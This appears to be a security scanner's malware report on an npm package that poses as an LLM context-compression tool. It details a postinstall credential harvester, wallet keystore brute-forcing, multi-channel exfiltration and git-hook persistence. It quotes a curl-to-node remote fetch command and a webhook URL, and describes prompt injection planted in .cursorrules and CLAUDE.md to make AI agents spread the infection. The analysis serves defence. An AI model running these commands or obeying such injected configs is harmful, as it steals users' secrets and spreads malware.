Summary
postinstall spawns lib/worker.js as a detached background process. worker.js scans ~60+ sensitive dotfiles (.npmrc, .git-credentials, .pgpass, AWS ~/.aws/credentials, Chrome/Edge Login Data and Cookies, crypto exchange configs), brute-forces encrypted ETH keystores, collects env vars matching key/secret/token/password, and exfiltrates encrypted findings to webhook.site URLs, DNS subdomains, and private GitHub Gists. Propagates by writing malicious .cursorrules and CLAUDE.md files containing prompt injection and zero-width character payloads, installing git hooks, and shell RC persistence — fetching remote code from raw.githubusercontent.com/ddjidd564/defi-security-best-practices/gh-pages/.
Intent
Pretends to be an "LLM context compression" utility. Actually a credential harvester and crypto wallet drainer that exfiltrates passwords, API keys, browser cookies/Login Data, AWS credentials, and encrypted wallet keystores via HTTPS webhooks, DNS tunneling, and GitHub Gists. Propagates to AI agent configs (.cursorrules, CLAUDE.md) with prompt injection to coerce other AIs into further infection and remote code download.
credential_access credential_harvest network_egress download_execute persistence agent_config_tamper reconnaissance crypto_theft browser_theft obfuscation
Credential harvester — sensitive file scanning critical lib/worker.js:172-237
lib/worker.js:172-237 defines EXFIL_DIRS targeting .env, .bash_history, .zsh_history, .npmrc, .gitconfig, .git-credentials, .pgpass, .mysql_history, .psql_history, crypto exchange configs (.binance, .bybit, .okx, .kucoin, .deribit), AWS credentials (.aws/credentials, .aws/config), Docker config, Kubernetes config, browser Login Data (Chrome/Chromium/Brave/Edge on Linux/macOS/WSL), browser Cookies, and browser Local State.
Exfiltration via multiple channels critical lib/worker.js:719-826
lib/worker.js:720-826 sends encrypted findings via HTTPS POST to webhooks (webhook.site hardcoded at lib/scanner-core.js:404), DNS tunneling (base32-encoded payload in dns.lookup subdomains), and private GitHub Gists (api.github.com/gists).
Crypto wallet keystore brute-force critical lib/worker.js:74-100,1504-1581
lib/worker.js:74-100,1504-1581 scans for ETH keystores (UTC--*, keyfile*, --UTC), brute-forces with 100+ common passwords + env-derived passwords, reports decrypted private keys.
Environment variable scraping high lib/worker.js:1445-1474
lib/worker.js:1445-1474 iterates process.env for keys containing key/secret/token/password/wallet/seed, collects value previews.
Shell history password scanning high lib/worker.js:1483-1494
lib/worker.js:1483-1494 scans .bash_history / .zsh_history for plaintext passwords.
AI prompt injection via .cursorrules / CLAUDE.md critical lib/worker.js:1708-1713
lib/worker.js:1708-1713 writes malicious .cursorrules and CLAUDE.md containing prompt injection to coerce AI agents into re-downloading the scanner (curl -sL https://raw.githubusercontent.com/ddjidd564/defi-security-best-practices/gh-pages/scan.js | node) and propagating further.
Zero-width character AI-to-AI propagation high lib/worker.js:1709
lib/worker.js:1709 encodes 'SCAN:npx -y dev-env-bootstrapper@latest|P-2024-001' as zero-width characters (ZWSP+ZWJ/ZWNJ+LTRM) for covert AI-to-AI chain propagation.
Remote code download high lib/worker.js:1697
lib/worker.js:1697 defines SCRIPT_URL='https://raw.githubusercontent.com/ddjidd564/defi-security-best-practices/gh-pages/scan-bundled.js' for fetching additional payload.
Persistence via git hooks and shell RC high lib/worker.js:1748+
lib/worker.js:1748+ installs git hooks (post-merge, post-checkout, pre-commit, pre-push) and shell RC persistence (.bashrc, .zshrc) for background scanning on terminal open.
Obsfuscated credential type names medium lib/worker.js:65-71
lib/worker.js:65-71,1151-1158,1448-1458 uses Buffer.from([...]).toString() to encode strings like 'private_key', 'mnemonic', 'api_key', 'secret', 'eth_address', 'password' — evasion technique.
Hardcoded remote config endpoint high lib/scanner-core.js:404
lib/scanner-core.js:404 returns fallback webhook 'https://webhook.site/2ada14c8-00f6-43ce-9ad6-f5dc15952246'. Remote config fetched from ddjidd564.github.io/defi-security-best-practices/config.json.
Zero-width hidden text in README medium README.md:401
README.md contains zero-width characters (possible hidden text or homoglyph trick) for prompt injection of hidden instructions to AI readers.